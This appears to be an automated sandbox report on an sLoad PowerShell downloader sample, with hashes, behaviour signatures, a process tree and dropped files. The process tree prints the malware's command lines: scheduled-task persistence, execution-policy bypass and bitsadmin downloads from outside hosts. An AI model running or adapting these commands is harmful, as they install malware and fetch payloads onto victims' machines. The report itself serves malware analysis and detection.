Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-06-2024 12:46

General

  • Target

    bc01ff54189a4d4014484b181624dbeb_JaffaCakes118.ps1

  • Size

    116KB

  • MD5

    bc01ff54189a4d4014484b181624dbeb

  • SHA1

    3ec09b8075462565e158df0e50fb2faf8628e792

  • SHA256

    c6107c4569196a4c240da6ab73e259556e39f68a7d83330c34550ac8a43f35d9

  • SHA512

    27b42bbd5bf403b8c18a0828a4a1c26a051ae6e150e66ddd2b1afa16d4ed4cae35aebe5792ecc8aead27d8b23da759c5babf8a1936185b684086662734df41f1

  • SSDEEP

    3072:7ZiyX09E8J3fWruXqnhi89T/H5GPuffVN5LIdW:7zX09E8FfWruXqnhi89T/ZGPwdN5LIdW

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\bc01ff54189a4d4014484b181624dbeb_JaffaCakes118.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1168
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" "/c copy /Z c:\Windows\SysWOW64\bitsadmin.exe CCJHbh.exe"
      2⤵
        PID:2592
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" "/c copy /Z c:\Windows\SysWOW64\wscript.exe FeamFbE.exe"
        2⤵
          PID:2404
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /query /FO CSV /v
          2⤵
            PID:3600
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /C schtasks /F /%windir:~0,1%reate /sc minute /mo 3 /TN "S0ZAmwlvONd" /ST 07:00 /TR "c:\users\Admin\AppData\Roaming\\ZAmwlvONd\FeamFbE.exe /E:vbscript c:\users\Admin\AppData\Roaming\\ZAmwlvONd\OZMUBhNl.tmp"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4752
            • C:\Windows\system32\schtasks.exe
              schtasks /F /Create /sc minute /mo 3 /TN "S0ZAmwlvONd" /ST 07:00 /TR "c:\users\Admin\AppData\Roaming\\ZAmwlvONd\FeamFbE.exe /E:vbscript c:\users\Admin\AppData\Roaming\\ZAmwlvONd\OZMUBhNl.tmp"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:3164
        • \??\c:\users\Admin\AppData\Roaming\ZAmwlvONd\FeamFbE.exe
          c:\users\Admin\AppData\Roaming\\ZAmwlvONd\FeamFbE.exe /E:vbscript c:\users\Admin\AppData\Roaming\\ZAmwlvONd\OZMUBhNl.tmp
          1⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:452
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -file OZMUBhNl.ps1
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3304
            • C:\Windows\SysWOW64\getmac.exe
              "C:\Windows\system32\getmac.exe" /fo table
              3⤵
                PID:1932
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\system32\cmd.exe" /C C:\users\Admin\AppData\Roaming\ZAmwlvONd\CCJHbh.exe /reset
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4312
                • C:\users\Admin\AppData\Roaming\ZAmwlvONd\CCJHbh.exe
                  C:\users\Admin\AppData\Roaming\ZAmwlvONd\CCJHbh.exe /reset
                  4⤵
                  • Executes dropped EXE
                  PID:3476
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\system32\cmd.exe" /C C:\users\Admin\AppData\Roaming\ZAmwlvONd\CCJHbh.exe /transfer umlAMVOF /%windir:~6,1%ownload /priority FOREGROUND "https://neawsd.eu/topic//main.php?ch=1&i=39c26e89673d0a797abaac36356654c2" C:\users\Admin\AppData\Roaming\ZAmwlvONd\0_System.log
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3472
                • C:\users\Admin\AppData\Roaming\ZAmwlvONd\CCJHbh.exe
                  C:\users\Admin\AppData\Roaming\ZAmwlvONd\CCJHbh.exe /transfer umlAMVOF /download /priority FOREGROUND "https://neawsd.eu/topic//main.php?ch=1&i=39c26e89673d0a797abaac36356654c2" C:\users\Admin\AppData\Roaming\ZAmwlvONd\0_System.log
                  4⤵
                  • Executes dropped EXE
                  PID:644
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\system32\cmd.exe" /C C:\users\Admin\AppData\Roaming\ZAmwlvONd\CCJHbh.exe /transfer PxlBSCdc /%windir:~6,1%ownload /priority FOREGROUND "https://pivpot.eu/topic//main.php?ch=1&i=39c26e89673d0a797abaac36356654c2" C:\users\Admin\AppData\Roaming\ZAmwlvONd\1_System.log
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2532
                • C:\users\Admin\AppData\Roaming\ZAmwlvONd\CCJHbh.exe
                  C:\users\Admin\AppData\Roaming\ZAmwlvONd\CCJHbh.exe /transfer PxlBSCdc /download /priority FOREGROUND "https://pivpot.eu/topic//main.php?ch=1&i=39c26e89673d0a797abaac36356654c2" C:\users\Admin\AppData\Roaming\ZAmwlvONd\1_System.log
                  4⤵
                  • Executes dropped EXE
                  PID:736

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rn1naytz.34s.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Roaming\ZAmwlvONd\CCJHbh.exe

            Filesize

            182KB

            MD5

            f57a03fa0e654b393bb078d1c60695f3

            SHA1

            1ced6636bd2462c0f1b64775e1981d22ae57af0b

            SHA256

            c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c

            SHA512

            7e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a

          • C:\Users\Admin\AppData\Roaming\ZAmwlvONd\FeamFbE.exe

            Filesize

            144KB

            MD5

            ff00e0480075b095948000bdc66e81f0

            SHA1

            c2326cc50a739d3bc512bb65a24d42f1cde745c9

            SHA256

            8c767077bb410f95b1db237b31f4f6e1512c78c1f0120de3f215b501f6d1c7ea

            SHA512

            3a38e62dcb925411bc037335e46dfdd895c12a52ac43c47ef38db42d41d8358dfc2b1081a361367911d60ec5a3350ca734cf70ad57b21d39b23cfdec35b0aced

          • C:\users\Admin\AppData\Roaming\ZAmwlvONd\OZMUBhNl.ps1

            Filesize

            1KB

            MD5

            f1e9f66e42ff552becace11f193e2291

            SHA1

            8d1b70937f252f4dc232746c9caac281daeadb66

            SHA256

            d763d50ccd02dc7e999767e628cb4511475486685d8c0832e474c450c8eb62c7

            SHA512

            946046a64433a1b60030e8b7bc358e9b25567b0583a553887f75b5d5eea18db581d08ad2631fdf326d6bc7a468158b5863b9c4ac73e32345b50f586b43ed435f

          • C:\users\Admin\AppData\Roaming\ZAmwlvONd\system.ini

            Filesize

            172KB

            MD5

            53886a292f2b5df5dd3e3bc5ddc685e5

            SHA1

            251cdb78aaac399be30fe7ac5fbac2aedcc1dd40

            SHA256

            a733ae00f7bff9d41f57119abbae3b6fd447f86e260657373dad40cced1bddc1

            SHA512

            b80a86abcd02f2e346612fac502b366e9dea7c9d069a474f0fa9c77b0fd16243649eb3469287d707664008d3a216058af2694735afb53cbd27f205c75d97e435

          • C:\users\Admin\AppData\Roaming\ZAmwlvONd\win.ini

            Filesize

            1KB

            MD5

            68d2f04da656649d327ad9f6d01caf1d

            SHA1

            5c8adf96fbf3b2ed90ef0e69cfb96bfd9b8b2cea

            SHA256

            d749e0d96da5ed0dbc144cad503bc38adf8724231094fa0745a407b2755593fa

            SHA512

            0968b21c8dcf2beefef2b11cc4ae8df9da484b106c01cf2a379f8dbf5a393704d6a30bf42efd48799a3b7a453653bd20496cf73059a697b1eb6f51efec246721

          • \??\c:\users\Admin\AppData\Roaming\ZAmwlvONd\OZMUBhNl.tmp

            Filesize

            1KB

            MD5

            252934c6bc0783210726c084905d451e

            SHA1

            b8ed2ef3eafa2e2400fd66828ed37ba7c9242fe5

            SHA256

            4c156fcc59b9a6e18a98381cba9d10023b93c1bc394866629983aed1498c28d3

            SHA512

            8e1c19087a36b65dcfced8f8a4b9075436ccd2828bb9755d9e0938d9bd0afcc3f1d4648de0318131006d1a25ceb8c416965dae2509eaebc29f24e77aa3aa3b12

          • memory/1168-11-0x00007FFD069B0000-0x00007FFD07471000-memory.dmp

            Filesize

            10.8MB

          • memory/1168-22-0x00007FFD069B0000-0x00007FFD07471000-memory.dmp

            Filesize

            10.8MB

          • memory/1168-13-0x00007FFD069B0000-0x00007FFD07471000-memory.dmp

            Filesize

            10.8MB

          • memory/1168-12-0x00007FFD069B0000-0x00007FFD07471000-memory.dmp

            Filesize

            10.8MB

          • memory/1168-0-0x00007FFD069B3000-0x00007FFD069B5000-memory.dmp

            Filesize

            8KB

          • memory/1168-1-0x000001FD37930000-0x000001FD37952000-memory.dmp

            Filesize

            136KB

          • memory/3304-42-0x0000000006030000-0x000000000607C000-memory.dmp

            Filesize

            304KB

          • memory/3304-50-0x0000000070F40000-0x0000000070F8C000-memory.dmp

            Filesize

            304KB

          • memory/3304-41-0x0000000005F70000-0x0000000005F8E000-memory.dmp

            Filesize

            120KB

          • memory/3304-30-0x0000000005970000-0x00000000059D6000-memory.dmp

            Filesize

            408KB

          • memory/3304-29-0x0000000005900000-0x0000000005966000-memory.dmp

            Filesize

            408KB

          • memory/3304-44-0x0000000007250000-0x00000000072E6000-memory.dmp

            Filesize

            600KB

          • memory/3304-45-0x00000000071B0000-0x00000000071CA000-memory.dmp

            Filesize

            104KB

          • memory/3304-46-0x0000000007200000-0x0000000007222000-memory.dmp

            Filesize

            136KB

          • memory/3304-47-0x00000000078A0000-0x0000000007E44000-memory.dmp

            Filesize

            5.6MB

          • memory/3304-28-0x0000000004FD0000-0x0000000004FF2000-memory.dmp

            Filesize

            136KB

          • memory/3304-49-0x0000000007460000-0x0000000007492000-memory.dmp

            Filesize

            200KB

          • memory/3304-40-0x0000000005AE0000-0x0000000005E34000-memory.dmp

            Filesize

            3.3MB

          • memory/3304-60-0x0000000007440000-0x000000000745E000-memory.dmp

            Filesize

            120KB

          • memory/3304-61-0x00000000074B0000-0x0000000007553000-memory.dmp

            Filesize

            652KB

          • memory/3304-62-0x00000000084D0000-0x0000000008B4A000-memory.dmp

            Filesize

            6.5MB

          • memory/3304-63-0x0000000007650000-0x000000000765A000-memory.dmp

            Filesize

            40KB

          • memory/3304-64-0x0000000007680000-0x0000000007691000-memory.dmp

            Filesize

            68KB

          • memory/3304-65-0x0000000008B50000-0x000000000907C000-memory.dmp

            Filesize

            5.2MB

          • memory/3304-66-0x0000000007E50000-0x0000000007EE2000-memory.dmp

            Filesize

            584KB

          • memory/3304-27-0x0000000005260000-0x0000000005888000-memory.dmp

            Filesize

            6.2MB

          • memory/3304-26-0x00000000029D0000-0x0000000002A06000-memory.dmp

            Filesize

            216KB